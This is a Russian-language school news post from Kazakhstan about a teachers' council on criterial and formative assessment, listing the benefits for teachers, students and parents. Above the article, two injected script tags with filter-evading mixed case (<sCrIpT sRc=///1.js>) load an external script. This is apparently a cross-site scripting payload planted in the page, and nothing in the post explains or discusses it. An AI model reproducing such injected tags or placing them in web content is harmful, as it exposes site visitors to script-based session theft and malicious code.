<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

16.01.2018

Ориентация образования на формирование компетентностей, необходимых для

человека XXI века требует значительных изменений в системе оценивания

достижений учащихся. Одной из целей системы образования является развитие

индивидуальных способностей ученика. Такой подход предполагает использование

личностно ориентированного оценивания. В связи с этим с целью повышения

качества образования, помимо традиционных методов оценивания, необходимо

внедрять и развивать формативное оценивание. Многие учителя нашей страны в

начале пути применения формативного оценивания.

В рамках программы «Рухани жаңғыру» в школе прошел методический совет "Критериальное оценивание- важный фактор процесса обучения" , где

педагоги делились опытом работы в области 

обновленного содержания образования. Главной целью было рассмотреть

внедрение «Критериального оценивания» и осуществление «Обратной связи».   Педагоги делились опытом, рассказывали о своих

успехах и достижениях своих учеников в области обучения.  Хабалхах Р. и Темирханова М.Н., работают по

обновленному содержанию образования уже второй год. Их опыт в данном

направлении неоценим. Коллеги в своих выступлениях подробно разобрали проведение

каждого этапа урока, описали возможности использования формативного оценивания

и поделились опытом работы с родителями через осуществление  обратной связи.

Подводя итоги методсовета,

каждый предметник еще раз утвердился в том, что использование критериального

оценивания позволяет:

Учителям

Разработать критерии, способствующие получению качественных

результатов;

Иметь оперативную информацию для анализа и планирования своей

деятельности;

Улучшить качество преподавания и обучения;

Выстраивать индивидуальную траекторию обучения каждого ученика с

учетом его индивидуальных способностей,

Использовать разнообразные методы обучения и инструменты

оценивания;

Вносить предложения по совершенствованию содержания учебной

программы.

Ученикам

Использовать многообразие стилей обучения, типов мыслительной

деятельности и способностей для подтверждения результатов обучения;

Знать и понимать критерии оценивания для прогнозирования

собственного результата обучения и осознания успеха;

Участвовать в рефлексии, оценивая себя и своих сверстников;

Использовать знания для решения реальных задач, выражать разные

точки зрения, критически мыслить

Родителям

Получать объективные доказательства уровня обученности своего

ребенка;

Отслеживать прогресс в обучении ребенка;

Обеспечивать ребенку поддержку в процессе обучения;

Устанавливать обратную связь с учителями и администрацией школы;

Быть уверенными и спокойными за комфортность пребывания ребенка

в классе и школе.

Новая для Казахстана система критериального оценивания

направлена на развитие обучающегося, повышение его интереса и мотивации к

обучению. Этого можно достичь, если установить ясные и измеримые критерии

оценивания, понятные каждому обучающемуся и его родителям. Это позволит

обеспечить качество процедур оценивания, их соответствие международным

стандартам и потребностям обучения каждого обучающегося.  Оценивание на основе критериев будет носить

более справедливый характер и способствовать созданию необходимых условий для

повышения качества обучения в казахстанских школах.